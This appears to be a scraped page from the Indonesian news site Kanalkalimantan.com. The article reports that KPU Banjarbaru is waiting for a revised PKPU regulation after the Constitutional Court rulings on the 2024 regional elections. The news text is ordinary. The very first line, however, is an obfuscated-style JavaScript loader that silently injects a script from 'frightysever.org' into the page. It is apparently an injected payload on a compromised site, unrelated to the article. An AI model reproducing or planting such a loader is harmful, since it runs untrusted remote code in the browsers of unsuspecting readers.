(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

KPU Banjarbaru Tunggu Perubahan PKPU Pasca Putusan MK


KANALKALIMANTAN.COM, BANJARBARU – Tahapan pendaftaran pasangan calon Pemilihan Kepala Daerah (Pilkada) 2024 akan dilangsungkan serentak oleh KPU provinsi, kabupaten/kota se Indonesia pada 27-29 Agustus 2024.

Empat hari menjelang pelaksanaan tahapan pendaftaran itu, Komisi Pemilihan Umum (KPU) Kota Banjarbaru masih menunggu teknis pendaftaran calon yang seyogyanya dimuat pada perubahan Peraturan Komisi Pemilihan Umum (PKPU) Nomor 8 Tahun 2024 tentang Pilkada.

Hal itu disampaikan Ketua KPU Banjarbaru, Dahtiar kepada Kanalkalimantan pasca keluar putusan Mahkamah Konstitusi (MK), Jumat (23/8/2024) pagi.

Baca juga: 23 Agustus Hari Konferensi Meja Bundar, Kedaulatan Pasca Kemerdekaan

“Kami lembaga yang bersifat hirarkis, akan berjalan sesuai dengan petunjuk arahan dan juga aturan yang mungkin akan dirubah KPU RI. Jadi apa yang akan jadi muatan dari KPU maupun PKPU, itu nanti yang akan kita laksanakan secara teknis,” kata Dahtiar.

Perubahan PKPU tersebut banyak dituntut massa pendemo agar sesuai dengan keputusan MK Nomor 60/PUU-XXII/2024 dan Nomor 70/PUU-XXII/2024.

Di sisi lain, KPU RI mengupayakan agar perubahan PKPU Nomor 8 Tahun 2024 dan pedoman teknis dalam menindaklanjuti putusan MK tersebut terbit sebelum pendaftaran pasangan calon Pilkada 2024.

Baca juga: #KawalPutusanMK: Mahasiswa Tak Mau DPRD Banjarbaru Adem Ayem

Sehingga ditegaskan Dahtiar, saat ini KPU Banjarbaru belum bisa menyampaikan apa yang menjadi teknis dan syarat percalonan Wali Kota dan Wakil Wali Kota Banjarbaru.

“Jadi untuk saat ini kita belum bisa menyampaikan secara teknis apa saja nanti (Syarat, red), tapi yang pasti kita sama-sama tahu bahwa kemarin dan malam tadi KPU RI telah memberikan statement akan mengikuti putusan MK,” kata Dahtiar.

Jika KPU RI melaksanakan putusan MK dengan melakukan penyesuaian aturan Pilkada yang tertuang dalam PKPU Nomor 8 Tahun 2024 itu, KPU Banjarbaru akan sejalan dan mengikutinya.

Baca juga: Aman di Dunia Digital: Membentengi Diri dari Ancaman Siber dan Judi Online

“Tinggal kita menunggu PKPU pencalonan yang akan diterbitkan oleh KPU RI,” tegasnya.

“Siap melaksanakan apapun arahan dan petunjuk dari KPU RI,” tandas Dahtiar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

2 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

2 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

2 jam ago

Pemkab Kapuas Bahas Kesiapan Daerah Dukung Program 3 Juta Rumah

KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More

2 jam ago

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

24 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 hari ago

This website uses cookies.